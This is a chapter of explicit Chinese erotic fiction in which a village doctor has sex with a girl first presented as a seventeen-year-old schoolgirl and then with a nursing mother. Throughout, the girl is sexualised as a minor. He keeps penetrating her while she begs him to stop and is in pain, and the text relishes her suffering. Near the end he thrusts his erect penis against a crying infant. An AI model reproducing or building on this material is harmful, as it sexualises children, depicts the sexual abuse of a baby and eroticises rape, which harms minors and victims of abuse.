图片载入中

乡野痞医04

特大字】 【大字】 【中字】 【小字

河水像是滚烫的开水翻滚着,一波波涌上来又没下去。麻三望着这条河,抽了一根烟,心里计划着等会如何给小霞设圈套。

可是想了半天也没想到个好方法,再想到那个光说话就能看透人的女人,麻三心里顿时像塞了个东西似的。

还是到那里再说吧!想到这他便骑上车,前往婶子家。

麻三打定主意后,自行车也越骑越快,没一会儿便到村子了。他看了看手表,十点多,天还早,现在去婶子家时间刚好。

去婶子家的路他可熟悉了,上次金鸽带给他的快乐还记忆犹新呢!现在又来一个外甥女小霞,他心里更增添了一分新鲜感。

他推着车子走到婶子家门口,只见大门紧闭,像是没人在家。轻轻推了一下门就开了,探头看了看,里面没人,他按了一下车把上的铃。

他喊了一声道:“婶子,婶子在吗?”

没人应声,他想:是不是婶子没听到呀?但即便婶子不在,金鸽也会在啊,再不然小霞也该在吧!想到这里麻三心有不甘,现在回去的话,恐怕以后就没有机会尝到小霞这个大奶子姑娘了。这时他心里又浮现了那个眉宇中间有颗红痣的洋女人,于是心一横,便走了进去。

“小霞,小霞在吗?”

麻三走到院子后隐约听到收音机的声音。嗯,看来家里真的有人,肯定是没听到自己的叫声。既然有人就不用偷偷摸摸了,他学院子里的大公鸡,踱着步伐走了进去,快到门前的时候,他因为纳闷里面的人在做什么,这么入迷,便走到了窗户前想看个究竟。

就在他刚趴到窗户上的时候,顿时吓了一跳,一只乳白的奶子时隐时现的露了出来,浅红色的乳头高高挺立着,还有一只手在一撮淡淡阴毛里不停摸来摸去,弯弯曲曲的阴毛被拨得很乱,手指头还不时的抠着,时而玩弄着两个大阴唇。这时从窗户看过去,能看到一本书不时的出现在窗户最边缘,再往里面看就看不清楚了,看样子像有人在自慰,旁边的收音机还在做掩护一般地大声播放着。 麻三看在眼里,痒在心里,他想着里面的人非小霞不可。下身的老二一下子就硬得跟铁棍似的,裤子蹭着墙面发出“沙沙”声。

此时的小霞好像什么都没有察觉到,一只手拿着书不时的看一下,另一只手则在那毛茸茸的粉穴处乱摸。正当麻三看得入迷时,她却停了下来,从床里头拿起一根黄瓜,看了看那根黄瓜,就斜着戳向了阴户前。

麻三一看,心想:小妮子,你可要小心点,那黄瓜浑身都是刺啊!可别把你那给操坏了。

小霞并没有把黄瓜直接插进去,而是轻轻的在阴蒂上磨着,不时发出比收音机还大的叫声,声音嗲嗲的很是动听,两只大奶子上下晃动。麻三的欲望之火被小霞给引发了,他想:这个小妮子可真没一句实话啊!还说自己是个处女,看这样子应该比村里的人经验丰富得多,光看那对迷人的大奶子,就不可能是只有十七岁的人所能有的。

想到这里他再也不想耽搁了,时间紧迫啊!趁着现在小霞正在兴头上,干起来才爽。想到这里他便径直走了过去,顺手一推,门“匡啷”响了一声,两个门笺唧哩匡啷的响了起来。

门竟锁着,麻三心里很不爽,心想:这个小妮子想得还真周到。

这时里面的收音机停了,传来一道骂声:“谁家的死狗啊?滚!”

麻三一听气得呀!心想:自己再落魄最多也是个穷要饭的,现在倒好,被一个胎毛未退、乳臭未干的孩子骂成了狗,真是气呀!但是想想今天是来占便宜的,还是先忍一忍吧!

哪知这时里面的收音机又响了起来,麻三心想:可能是小霞真以为外面是狗在捣乱呢,算了,还是跟她说明白吧!要不然这回不知道要骂自己什么呢? 想到这里,他轻轻的敲了敲门,收音机马上就关掉了,里面却一点声音也没有。

麻三这时也没吭声,二人僵持了五秒后,小霞忍不住出声了:“姑姑?” 麻三一听,“噗”一声笑了。

“谁啊?”

“给你送大黄瓜的。”

小霞一听,送大黄瓜的?脸一下就红了,手里握着的黄瓜掉到地上,她急忙下床,整理起衣服,一副手忙脚乱的样子。

“你、你是谁啊?我家里有的是大黄瓜。”

麻三听到里面整理衣服的声音,心想:等一下还得麻烦自己再脱,就说道:“小霞,是我,我是全医生,你进哥啊!快点开门,我这里有一根热唿唿的大黄瓜。”

这时里面的声音静了下来,而后传出一阵笑声,说道:“哦,呵呵,我还以为是谁呢?那就快点进来吧!”

说着门就开了,小霞站在门口,她的扣子还没有扣好,穿着学生装,酥胸半露,下身是一条百褶小黑裙,露着半截白白的腿。这样子让人见了,真想扑过去,好好的吃上两口豆腐。

十七岁多嫩啊!两只大乳房就像那春天的桃花,真有种“一枝红杏出墙来”的感觉,白色衣服里粉红色的乳头若隐若现,看得麻三欲火焚身。小霞此时倒像是见过大世面的风尘女子,一动也不动的站着,镇静的望着麻三,好像是在考验麻三到底能坚持多久。

麻三望着这个迷人的少女,下身那大号的肉棍子不停向大脑发射信号,即使前面是刀山火海,他也会奋不顾身的去跳。麻三的欲望之渊终于决堤了,他一把将小霞抱在怀里,扯开衣服便咬了上去,含在嘴里的奶子还真有股奶香味,他用舌头用力的搅了一下,小霞这时也正是寂寞难耐,被他一搅,叫了一声,倒在了他的怀里。

被抱在怀里的小霞轻声说道:“进哥,你来的可真是时候,人家正在做着呢!那黄瓜一点都不好玩,还扎得慌,你的凉吗?”

小霞的话就像是一盆油,泼在了麻三的烈火上,瞬间就爆发了。

他含煳不清的说道:“不凉,热着呢!不但热还大着呢!保证把你那里塞得满满的、扎得深深的,让你爽到天顶上去。”

说着麻三就把小霞扔到了床上,两只大乳房绯红绯红的,摔在床上像两个大水球似的不停动着,丰满的奶袋子紧绷绷、白嫩嫩的,又像是小水滴滴在油毡板上滚动一样,红色的小乳头不时从衣服里面跳出来又缩回去。

麻三这时再也受不了这样的诱惑了,一下子压了上来,用最快的速度脱掉自己的裤子,想把那根胀得跟椽子似的大鸡巴放进去好好的捅一捅,释放一下。 小霞看到麻三那根大黄瓜顿时叫了声:“进哥,别、别,我怕痛,人家还是个处女呢!你的东西太大了,进不了的。”

麻三听那嗲声,顿时笑了,猛地堵住了她的嘴,狠狠亲了一口道:“我说小霞妹妹,别急嘛,进哥就是进哥,进的时候保证你不痛,多操操把你的淫水操得多点,一下就滑进去了,跟吃凉粉一样。哪痛啊?我来亲亲。”

小霞半信半疑的望着麻三,用手指了指自己的阴户,麻三二话不说,低下头俯在她的阴户上,轻轻的亲了几口,把小霞亲得整个身子都摇摆了起来,不时缩着阴户,看样子痒得难受啊!

麻三越是见到这样就越是高兴,不时把舌头伸得老长,伸进那个小阴道口,这时麻三觉得很奇怪,还别说他上了几个女人的阴道口都比小霞的大上一号,小霞的阴道口好像真有个什么东西挡着一样,进不了多少,但是望着小霞那情不自禁的样子、那嗲得让人心碎的声音,他也管不了那么多了。

“进哥,可别忘记你说的话哦!人家可是个黄花大闺女。”

“放心吧!进哥保证你有了这次还想要下次。”

哪知麻三刚说完这话,小霞就伸出一只手用力推着他的头不让他舔了,直起身子说道:“那你还是回去吧!当初你说的不是这话。”

麻三此时正在兴头上,那大号的鸡巴还没进去呢!一看小霞竟然生气了,顿时问道:“我说的什么话?你说说看,我答应你。”

小霞望着他说道:“你不是说要是我是处女,你就养我吗?”

麻三一听,心想:这个小女孩可真是单纯,说这种话都信,顿时点着头说道:“呵呵,看你说的,我还以为是什么话呢?这样吧,我答应你,不但答应你,还给你写个字条好不好?这样你就不用担心了吧!”

说着他也顾不了那么多了,只想着好好尝尝这个小妮子。随便找了枝笔写了起来:

“今天我全进与小霞达成协议,要是做爱时确认小霞是个处女的话,我就包养你。”

麻三把字条在她眼前晃了晃,小霞这才转阴为晴,笑着做了一个鬼脸,身子又倒了下去。

望着眼前这个十七岁的小姑娘,麻三的眼直了,硬挺着的大鸡巴猴急地翘着头,不停的想钻进去玩一圈。就在麻三正想把大鸡巴塞进去的时候,小霞抱着头叫了一声:

“啊!不要啊!”

话音刚落,一只脚就蹬了过去,随后听到“啪”的一声,床上另一头的包包被踢了下去,里面的东西掉了出来,可把麻三吓了一跳,刚才还硬如钢棍的阴茎一下就软了下来。

他跪坐在床上望了望地上的东西,一张小方卡引起了麻三的注意,他下床把它捡了起来,一看原来是小霞的身份证,麻三拿在手中望了望躺上床上翘着两条腿的小霞念道:“张小霞,女,一九九零年一月一日出生……呵呵,你看看,你这个小妹妹老是骗人,这是十七岁吗?那三岁谁替你过了?”

话刚说完,小霞脸一红说道:“我就是永远的十七岁,我就是喜欢十七岁。怎么,不想干是吗?我还不想给呢!再说了,我还要留着第一次给我的老公呢!” 说着,小霞从床上走了过来,夺走身份证就塞到包包里,把地上的东西捡了起来,提起包包就准备离开。麻三急忙追了过去,小霞刚走几步就停住了,眼里没有了刚才那种温顺与嗲气,反而像是在看有杀父之仇、夺妻之恨的仇家。 “我说我的进哥,你有点自知之明好不好?这是我妗子家耶,要走也是你走,快走……”

说着拎起包包朝麻三掷了过去,麻三看这女人怎么说翻脸就翻脸呢?但是想想还是算了,自己的目的是玩玩她,可不想结仇啊!再说了,以后他还想换换口味呢!哄哄她吧!

想到这里,麻三便走了过去,望着小霞那光滑雪白的肌肤坏笑了一下,那松软的阴茎长长的吊着,晃着走到了小霞跟前,小霞这时并没有躲开,也没有推开他,只是立在门那里一动也不动。

“妹妹还在生气吗?这不说说笑笑、热闹热闹吗?我看我的小霞妹妹还没十七岁呢!别生气了,再说进哥我对你是一见钟情啊!要不然怎么会这么爽快的给你写下那保证书?有我吃的就有你吃的,就算我只剩半口饭也都给你吃,行不行?我啊,其实说白了还真喜欢大一点的女孩,你知道为什么吗?”

小霞还是立在那里一动也不动,麻三此时也是恬不知耻,厚着脸皮哄着:“那是因为大一点的女孩更有魅力,不再是个嫩娃子,懂事、贴心,而且想得周到,你想想,十六、七岁才多大啊?都还没成年呢!自己都照顾不了自己了,哪还能照顾她男人啊!女大十八变是越变越好看,不到十八岁就等于还没有彻底变美。你看看你刚二十岁,那就是一个最完美的女孩子,就好像一朵花一样,绽放在最美丽、最鲜艳的时候。”

“你看看你的胸脯,我可以说没有一个人能和你比的,整个乳房就像是一个痒痒的。从来没见过你这么漂亮的身材,要是你做我老婆,我就……就天天都和你做爱,让你感觉到什么叫做快乐,我可以保证做了第一回就想要第二回,信不?”

说着麻三就托了一下那半硬半软的阴茎,轻轻放在小霞的阴户上,小霞这时没有做出什么反应,麻三看着她的表情可以得知她并不是真的在生气,眼角的杀气已经没有了。

他拉了拉她的手,说道:“妹妹,别这样了,来,我先给你做做前奏,让你看看我舌头的厉害,身体最软的地方就是舌头,这个舌头舔起你的小穴那是最爽不过的了,你没有被舔过吧!”

说着,麻三就抱起小霞,在她的大咪咪上亲了一口,小霞再也忍不住了,痒得咯咯笑了起来。

“你坏、你坏,你是个坏蛋进哥。”

麻三一看,心也放下了,心想:先把你干了再说。这时麻三那股兴奋劲又上来了,把小霞扔到床上,直摔得她嗷嗷直叫。

“你要摔死我啊!要把我摔死了,今天谁来伺候你啊?”

“呵呵,我还以为这是席梦丝床呢。”麻三笑呵呵的走了过来。

小霞也乐道:“你看看,硬成这样会是席梦丝吗?连一床好被子都没有,这床还是我妗子从箱底里拿出来的手工棉呢!”

麻三一笑,一只手捂在她的嫩穴上,用手掌按了一下,随后就揉了起来。小霞毕竟年龄小,哪里受过这么大的刺激,顿时乱叫了起来。

“进哥,别这样好吗?痒死了,你不是说要用舌头来舔吗?我要,我想试试用你那个大鸡巴钻一下,看看做爱是什么感觉。”

麻三看着那两个起伏的大奶子,笑道:“妹妹,你不是自慰过吗?做爱跟那感觉差不多,只是我那大鸡巴有温度,插进去之后会让你整个心都是热的。” 小霞的脸色胀红,她害羞的说道:“看你说的,我什么时候自慰过,那只是摸摸而已,没有进去过,我刚来我妗子家的时候,用手进去过一点,只是进到手指甲的地方时痛得要命,而且水也不多,就没敢再进了。”

麻三一边说,手也没闲着,一只手挑逗着小霞的小肉粒,另一只手不停的在欲望之火给撩了起来,她感觉整个身子热腾腾的,手也忍不住按住了另一个乳头,轻轻捏揉了起来,不时发出那轻轻的呻吟声。

“哥,快点进来吧!我快受不了了。要是再不进来我就要崩溃了,下身痒得很,快把你的大鸡巴塞进来吧!”

麻三望了望她的小嫩穴,红通通的,两边的大阴唇像是充足了血,两片肉瓣张着嘴立着,忽然,麻三看到了小霞那个阴道口,不禁倒吸了一口凉气,天啊!只见小霞的阴道口还真有一层薄薄的、呈不规则形的处女膜,肉红红的,被淫水淹没,看上去水亮亮的。

麻三犹豫了,他想要是真的把人家给搞了,会不会真的给她的未来带来什么不测呀!

小霞见麻三两眼望着自己的嫩穴,停止了动作,急得不得了,嘴里催促道:“进哥,你在干嘛?快点进来啊!”

正当麻三还在犹豫不决的时候,小霞竟然出乎意料的擡起身子,把他压在了身上道:“进哥,你干嘛呀?今天这么婆婆妈妈的,吊人家胃口呢!”

说着,把麻三按到身上,撑起双腿,就准备坐下去。

麻三这时急忙叫停,把双腿拱起来,不让小霞进,说道:“我看你真的是处女,不想害你,你还是下去吧!”

小霞这时哪还管得了那么多,张开双腿,用尽力气坐了下去,嘴里说道:“进哥,我就要你的大黄瓜,再也不想用那凉黄瓜了,我要暖到心里热唿唿的……”

这句话还没说完就听到小霞“啊”的惨叫一声。只见她一下站了起来,两只手捂住了自己的嫩穴叫了起来。随后抽出一只手,看见整只手血淋淋的,她顿时大叫道:“啊!血!血!我那里流血了……”一边说,一边叫着,看样子是吓坏了。 麻三看她吓成那样子,想下床去拿药,这才发现自己的大肉棒上也都是血,红红的很鲜艳,他也觉得有点心疼,这么一个处女就这么被自己捅破了。都怪这个初生之犊不怕虎的小霞,要不是她太莽撞也不会流这么多血。他拿起床头上的纸擦了肉棒,就急忙把裤子穿好,跑到外面去拿药。

他左右看了看,并没有发现有什么可疑的情况,便大步的走了出去,刚走到门口就听到有人问了一声:“进,看病吗?”

这声音虽然不大,但是足以把麻三吓得魂飞魄散。俗话说的好:“作贼心虚”,这话一点也不假,要是平常他正经八百的看病就一点事都没有了。这时麻三急忙用双手扶住了门框,朝声音传来的方向看了看,顿时放了心。原来是自己一门子的奶奶,脸色这才缓了过来。

老奶奶一看,咧开没有牙的嘴说道:“呵呵,看看你,把你吓成这样子,我还没成鬼呢!孙子。”

麻三也觉得有点过分了,直起身子笑着说道:“呵呵,看看奶奶说的,我可没别的意思,只是没有想到你现在会在这里。奶奶可别气,我给小霞看看手,她弄了个伤口,看起来挺严重的。”

“哦哦,那就去忙着。”

奶奶望着麻三的裤裆,不停的笑着。麻三心里嘀咕着:不会吧!这么大岁数了还想着干那事啊!要是没猜错的话,里面淫水应该早干了,干不拉唧的也进不去啊,这么大根肉棍子进进出出的,没淫水不磨烂才怪呢!

这时老奶奶用手指了指麻三的裤裆说了一句:“孩子,把你那大门关上。那样多难看,里面什么东西都不穿,舒服吗?”

这么一说,麻三终于明白了,原来是自己的裤子拉链没拉,真是丢死人了,只见自己的大鸡巴正好堵着裤子大门,还能看得清楚黑黑的阴毛。他急忙转身整理一下,老奶奶笑着,摇着头走了。

麻三也顾不了那么多,转头回去了,手里拿着止血的药,心里还真有些慌张,心想:坏了,没想到这个小妮子还真是个处女,说不定还真要自己养她一辈子呢!看来这事有点麻烦啊!

麻三的心里像是揣了一只兔子似的跑回去,他一边跑,一边想着该怎么办,到了屋门前,只见小霞这时正拿着卫生纸擦着下身,雪白的皮肤依然有着挡不住的诱惑,两只大奶子被腿挤成了两个白晰的肉饼,靠麻三这边的奶子,只见红红的乳头俨然就是一个发酵好的大白馒头上镶了一粒红枣。

麻三走了过来,忍不住轻轻的在乳头上抠了一下,小霞这才发现到他,顿时转头看了看,挤出一丝笑容,说道:“进哥,你看看,还在流呢!”

麻三也明白,好好的一片薄肉被冲开了,能不疼吗?不过那肉一开,以后欲望就更大了。

“呵呵,以后想我了,就多给你做两次,补补给你造成的损失。”

小霞也笑了,说道:“哥,现在相信我是处女了吧!从现在开始是不是该养我一辈子了。”

麻三一听,心想:嘿,你这个小妮子还真想捞一把啊!望了望她说道:“小霞,我既然说了,就会好好养你,放心吧そ只要你能满足我的需要,什么都好说。”

“呵呵,现在又得寸进尺了?明明上面写的是,只要确认我是处女的话,你就包养我的。”

麻三望了望小霞,说道:“这样好不好?刚才这提议是你提出来的,我也提一条,这样公平吧!”

小霞望着他,傻傻的笑道:“进哥,看你说的,只要你包养我,要求也不过分就可以。要是让我难以接受的话就不行了,你说说看。”

麻三一听,心想:好啊,既然你让我提,那就好办了。伸出手在她的乳头上挑了一下,逗得小霞咯咯直笑。

“进哥,我们说正事好吗?别逗了。等下我妗子来了就麻烦了。”

她这一讲倒也提醒了麻三。是啊,自己还得早点回家呢!打着幌子说是去帮老婆除草,这回倒好,竟把小霞的阴毛给拨了一把,哈哈。

他心里坏坏的想着,急忙说道:“呵呵,那我们就加一条‘只要能满足全进的生理需求’就行。你拿那张纸来。”

小霞还真听话,傻笑着说道:“进哥,我看你们男人就那么回事,还不是为了多插我们几下,得了吧,加就加。反正我没事就让你插几回,你养着我吃喝就成了。”

麻三看着她那张白白净净、稚气未退的脸,亲了一口说道:“妹妹真的太可爱了。”

麻三把纸条拿了过去,迅速的加上这条,同时他也在琢磨着,假如不想玩她的时候,如何让她满足不了自己,好自动终止合同。

“小霞,我现在加上了,我读给你听听。”小霞这时把血擦干净了,用手按了按受伤的阴户,看着那里红红肿肿的。

“今天我全进与小霞达成协议,要是做爱时确认小霞是个处女,并能满足其生理需求的话,全进就包养小霞,如果满足不了就无条件自动终止协议。” 麻三念完后笑着说道:“你看如何啊?”

小霞看了看麻三,又看了看自己那个被插得红通通的小蜜穴,笑道:“可以,我们女人啊,就是个洞,随时等着你进出,你们就不一样了,那么长的肉棍子,什么时候硬不起来了,想进都进不去!不是吹嘘,别说是你,再加几个男人,我也一样可以包容你。”

麻三看这个小妮子心里骚得很,一下子就扑了上去,压在那两只又白又大的奶子上。惊慌失措的小霞吓得大口喘着粗气,双手第一时间把下身护了起来,此时又硬又大的大鸡巴不停的乱插着,把小霞的每个手指缝都捅了一遍。麻三猴急了,越是这样欲望越大,两只大奶子在眼前晃得让人心痒,随后他伸出一只手把小霞的手拉开,露出那个粉嫩通红的小蜜穴。

第二回三人肉搏

麻三发疯似的把她的手扒开,望着红肿的阴户,以迅雷不及掩耳之速把那根又粗又壮的大鸡巴给塞了进去。这一捅,只听到小霞放声大叫了起来。

“进哥,放过我吧!痛死我了,进哥……”

小霞两只手拼命推着麻三的腰央求着,看样子确实是有点疼,可是今天的麻三看她痛苦的样子心里越爽,她越叫越来劲。他不顾一切的捅着,耳边的叫声也越叫越大声。就在这时门外来了一个人。

门外的人听到声音快步走了进来,当她走到门口时,粉脸一沈,气唿唿的望着门口,就在她想冲进去的时候,怀里的娃娃被叫声给吓哭了。

这一哭可把里面的两个人吓怔了,顿时停止了一切动作。正趴在小霞身上又亲又啃的麻三愣在那里,大鸡巴还在小霞的洞穴里不停的抖动着,两人都竖起了耳朵听着外面的动静。

小霞叫了一声:“嫂子,是你吗?来,告诉你一个好东西,保证让你高潮叠起,比我哥那玩意好得多。”

“呵呵,看你说的,我还以为谁在我这里疯狂呢?”门外的女人推门走了进来,看到床上赤裸裸的两人冷笑着说道。

麻三吓了一跳,转头一看,顿时又喜上眉梢。原来这个女人不是别人,正是带着孩子,乳腺不通的金鸽。

“哦,妹子,真是不好意思,你看看你这个妹子,手上弄了一个伤口,我顺便过来看看……”

麻三的话还没说完,金鸽倒是先开口道:“看来进哥不是我专属的了,不过听小霞妹妹说得我心里也痒痒了。妹子,你说比你哥那玩意还好的东西,是不是进哥的大鸡巴啊?”

麻三万万没有想到他觉得单纯的金鸽竟然是一个相当开放的女人,难不成……他不敢再往下想了,擡起头望了一下有两只大奶子的金鸽。

金鸽则先望向小霞,又把目光落在麻三身上,麻三这才意识到自己那根又粗又热的大鸡巴还在小霞的小洞洞里插着呢!他屁股往后一撤,把“热火腿”给拨了出来。

小霞正准备说话,感觉自己下身一下子空了,顿时呻吟了一下,身子猛地一沈,把刚刚逃出蜜穴的大肉棍又套了进去。

麻三从来没有想到小霞的身子竟如此灵活,感觉大肉棍猛地一阵束缚,剧烈的压迫感让他感觉爽到了天边,他叫了一声,屁股猛抖了几下,把那根滚烫的“热火腿”

给插了进去,这时金鸽的存在不如插几下紧紧的嫩穴重要。

小霞一边浪叫着,一边摸着自己的大奶子。金鸽这时脸红扑扑的,感觉整个身子都在燃烧,眼前这赤裸裸的肉战让她一下子想到了自己与麻三肉搏的场面,那根又大又长的大鸡巴直插得让人沈醉,顶得自己心花怒放,可是现在自己却只能看着,心里也很不舒服啊!

“嫂子,别愣着,我们一起玩,一起……啊啊……别太深了,好疼。嫂子,快救救我,太深了,快……一起玩,啊……”

看样子麻三把小霞顶得不轻,叫声明显不一样,这时立在旁边的金鸽心里已经被欲火焚烧了,感觉下身痒了起来,真想让麻三的大肉棍猛戳几下。她看了看怀里的孩子,孩子这时安安静静的躺着,她望了望还在浪叫不已的小霞,压制着内心那团无法抑制的欲火,轻轻走到旁边的小床上,把孩子轻轻放在上面,用白净的小手在孩子身上拍了几下。

见孩子睡沈了,心里高兴不已,她轻轻拍着儿子家宝道:“宝宝真听话,再多睡一会儿,等妈妈把事做完再好好喂你一顿饱奶。”

麻三这时只顾着自己那大鸡巴爽了,竟然忘记还有金韵的存在,听到小霞的浪叫,心里可痛快的。麻三索性把她的一条腿搭在了肩上,另一条腿压在身下,把那根大鸡巴狠狠的塞了进去,只见这根长约二十公分的大肉棍整根都塞了进去。 小霞这时真的受不了了,两只手用力推着麻三的身子,嘴里大叫道:“进哥,求求你,别插了!我受不了了、我受不了了!插得我的肚子好疼啊!”

麻三望着她痛得在床上翻滚的样子,心里有一种难以言喻的成就感,让他感觉到自己是真正的床上英雄,那根大鸡巴这下更是威风,伸着龟头像头猛兽似的用尽全力顶着这个嫩嫩的阴穴,还不停的摆动几下,像是在炫耀战绩。

正在这个时候,麻三感觉到自己的肩膀被人拉了一下,刚想冲进阴穴里的大鸡巴被迫停了下来。还没等麻三看清楚,顿时眼前一片白,嘴被一团肉脓脓的东西给堵上了,一个尖尖胀胀的东西让他的嘴巴感觉满满的,随后一股奶香钻进了鼻腔里。

还没来得及多想,就听到金鸽说话了:“进哥,来嘛!别老欺负小孩子,把你的大鸡巴给我尝尝,看看能不能顶得我心花怒放。”

这时躺在床上的小霞终于停止了叫声,两只小手捂着下阴处,身子往上一擡,把麻三的大鸡巴给拔了出来,手轻轻的在上面抚了一下,看到手上满是血,她苦笑一下,深深的吸了一口气。

麻三的头被金鸽转了过去,感觉到下身空了,顿时把目标转移到金鸽身上,浓浓的奶香让他一下子更有精神了,舌头顶了一下,顿时感觉到她的乳头猛地一动,身子颤了一下,竟把奶子又往麻三嘴里挤了挤。

麻三的嘴巴被塞得没有一点空隙,鼻子也被挤瘪了,唿吸极度困难。他想挣扎开来,可金鸽不知哪里来的力气,就是不松手,而且抱着麻三的头在自己的奶子上猛转了起来。麻三这时把整个身子转了回来,见头无法活动,便伸出食指和中指,伸到了金鸽下身,二话不说,插了进去。这一下,金鸽可是万万没有想到,正在享受着上身快感的她感觉到下身被猛插了一下,整个身子顿时酥了一半,一屁股坐到了床上。

“嫂子,进哥的那家伙太大了,我真的受不了了,还是给你吧!”

金鸽听到小霞这样说心里就舒服,因为自己老公的那玩意太小了,从来没有感觉过快感,自从麻三来看诊以后,她就发现麻三的家伙感觉真的很好,但是之前都没有放松下来,时间也不宽裕,所以没能好好享受那种畅快淋漓的快感。这回天色还早,婆婆又在下田还不会回来,听表妹这么一说,心里更是钻心的痒,真的好想快点尝一尝那根又粗又大的鸡巴。

“呵呵,就怕进哥的这根不够长啊!”

麻三这时一听,顿时把金鸽推到床上,两只胀着奶的乳房被摔得左摇右晃,晃得他心里发狂。麻三看着这两只奶子和小霞的巨乳截然不同,颜色比小霞的更深一些,小酸枣的个头比小霞的乳头大一些,如果金鸽不是哺乳期的话,就不如小霞的奶子大了,因而现在看二人的乳房大小差不了多少,平分秋色。

金鸽这时也没闲着,两只手不停套弄着麻三的鸡巴,而且引导着那根大鸡巴去插自己那已经水汪汪的阴道口。麻三可不是省油的灯,刚刚闲下来的大鸡巴正愁没地方插呢,顺着她的引导猛地就戳了进去。这下麻三感觉到了两个人的不同,比起小霞,这个阴道可是宽松很多,没有那么强烈的压迫感,里面湿湿滑滑的像灌过油一样,不过小霞的阴道也有点好处,虽在里面有时磨得疼,但是更加刺激。他一边插,一边比较着不同。

金鸽这时被扎到了花心,顿时浪了起来,整个身子开始扭动,特别是下身,如一条蛇一样,双腿缠着麻三的身子上下左右的摇动。这样一来可把麻三给爽到了,虽然这个阴道有点宽松,但是这么一转一夹,竟让他感觉到了前所未有的快感,而且整根大鸡巴的每个?点都刺激到了,这是在小霞那里感觉不到的。而且能感觉到金鸽的床上经验比小霞丰富,身子的每一个动作似乎都有目的,让麻三欲罢不能。

爽,似乎更能感觉到那个大得跟锥子一样的龟头上有不少颗粒,直刺得阴道壁又痒又疼?小霞望着两个人在床上搏斗的样子,下身也受不了了,刚刚还有些麻痛的阴户现在又有些需要。她忍不住伸出手,轻轻的插了进去,进出几下之后,总找不到那种感觉。

这时麻三已经不满足于现状了,把金鸽的身子翻了过来,让她撅着屁股,像是动物在交配的样子。他刚把身子弄正,却发现后面竟被抱了一下,而后感觉到两只奶子顶住了自己的后背,耳边听到小霞的声音。

“进哥,我们三个一起做吧!我也好想了。”

麻三一听,转头看了看趴在自己背上不肯动弹的小霞,心里倒是觉得这个小妹子有点可怜。既然都已经提出来了,就做吧!他看了看现在的情况,伸出手揽住她的腰说道:“小霞妹妹,你看这样行不行。”

小霞看了看麻三说道:“怎么?”

“你就趴在你嫂子下面,让你嫂子在上面,我在你们俩上面干你们行吗?” 金鸽一听,说道:“进哥,你可真有一套,还真没见过这么做爱的,不过,我愿意试一试。”

金鸽同意了,小霞这时也乐坏了,想着那种交配姿势,心里乐不思蜀道:“那就来吧!”

麻三望着两具白得发亮、嫩得流水的身子,心里别提有多高兴了。心想:自己这回真是享尽了艳福,真没想到还能同时插两个女人,哈哈。想着刚刚被破处的小霞,心里更是满足。

这时两个人位置已经摆好了,就等着麻三插。麻三望着眼前一大一小的身子,心里很高兴,一大一小、一大一小,两个小洞洞,算上屁股一共就四个小窟遂了,四片阴唇张着小红嘴巴,等着去含他这根胀得发紫的大鸡巴。

麻三再也受不了了,提着大肉棍子就走了上来,小霞那个窟窿里还带着血渍,不过里面流出来的爱液已灌满阴道口,能看得出里面的通道肯定是润滑的。 他拉起大鸡巴轻轻的放在金鸽的阴户上,金鸽不由自主的一颤,咯咯笑了一声,伸出手就准备去捉住大鸡巴。

麻三一看,嘿,还想自己占有,那可不行,今天三个人那可得好好玩。想到这里,麻三把鸡巴往下一拉,对准小霞的嫩穴就插了进去,这时刚刚还张着小嘴等着的嫩穴一下子被塞满了,麻三迅雷不及掩耳用力挺了进去,力道猛的差点把上面的金鸽给顶过去。

“进哥,你可真坏,人家等着你,你不插,净插人家那不知道的。”

小霞怎么也没有想到会第一个插自己,这么一顶,顿时疼得嗷嗷直叫,双手不由自主的捂住了插着大鸡巴的嫩穴。麻三这一下不过瘾,嘴里笑着说道:“这叫实中有虚,虚中有实,就是不能让你们知道,不然三个人就不好玩了。来,金鸽,这回我保证第一次插你,看着你那个鲜嫩的洞洞,就想探探到底有多深。” “进哥,你坏死了,本来就准备好让你试探的,可你就是不探,来吧,这回我把双腿拉大一点,让你好进点。”

“好呀!”

麻二丽着她那浪言浪语,心里痒得受不了,心想:这样的女人就是欠收拾,好好插个几百回合,保证让你再也不浪叫了。想到这里,看着刚刚从下面爬上来的金鸽就是一下,随后不管三七二十一,连续十几个回合,进进出出的让金鸽的阴户里发出“咕唧、咕唧”的声音,里面的爱液像是泉水般涌了出来,把整个大鸡巴弄的油亮亮的。

麻三也不换穴了,插住金鸽就猛干了起来,金鸽也好久没做了,面对这突如其来的抽插,感觉到前所未有的快感,再也忍不住了,嘴里发出高高低低的呻吟声,这时刚歇过来的小霞也喘过了气,望着正在猛干金韵的麻三,顿时就去拉麻三,麻三这时抽出一只手抓住了小霞的咪咪,很没规律的抓捏了起来。

小几个洞,真不知如何下手才能同时满足雨个女人。这时小霞从桌上的盘子拿来了一个东西递给了麻三,麻三一看,顿时乐了,心想:这个小霞可真是骚透了,她递过来的不是别的东西,而是吃了半根的长黄瓜,看样子,这根黄瓜是沾着酱吃的,另一头明显留着一点酱渣。麻三明白了,顿时把小霞的方向挪了过来,让头移到麻三的屁股前,把那个嫩得不能再嫩的阴户留在麻三面前。

麻三一边干着金鸽,手里的黄瓜也塞进了小霞的阴户当中,虽说这个黄瓜比起自己的鸡巴来说小了一圈,但是插着小霞貌似很合适的样子,一进一出时能听到小霞那浅浅的叫声,好像是在享受着这黄瓜带给她的快乐。

两个女人不停的叫着,麻三这时望着身下这两具白晰的身子,心里别提有多高兴了,心想:这么多女人都被自己上过了,就算以后出了什么事也值得。 眼前四只奶子乱蹦乱跳的,把麻三晃得心痒难耐,下身的肉棒和手里的半截黄瓜都在持续的抽插着。

就在这时小床上响起了哭声,金鸽望了望,撑起身子看了看后并没有理会,又躺了下去继续享受这难得的肉搏,但是麻三却因此无法静心做爱了,把大鸡巴抽了出来,手里的黄瓜也管不了那么多了,用力塞了进去,下了床朝小孩子走去。 金鸽感觉到下身空荡荡的,望了望走向小床的麻三说道:“进哥,你要干嘛啊?孩子哭肯定是饿了,等下我喂喂就行了。”

麻三扭过头,望了望她说道:“没关系,我看看。”

说着,一把抓起穿着薄薄衣服的小男孩道:“小祖宗别闹了,很快就收工了。等你长大了一样得干这个,真是的。”

挺起大鸡巴朝孩子猛顶了一下,孩子被猛戳了一下,顿时不哭了,眼睛也轻轻的闭上。麻三看了看这个听话的孩子,高兴极了,轻轻的把孩子放在一二人做爱的床边上,望了望,说道:“你看,这孩子可真听话,给他讲明白就睡着了。来,我们继续做。”

金鸽笑了笑,说道:“哼,你以为别人都像你一样啊,就知道坏,坏到底了。” 小霞这时也没吭声,手不停的在下身摆弄着。

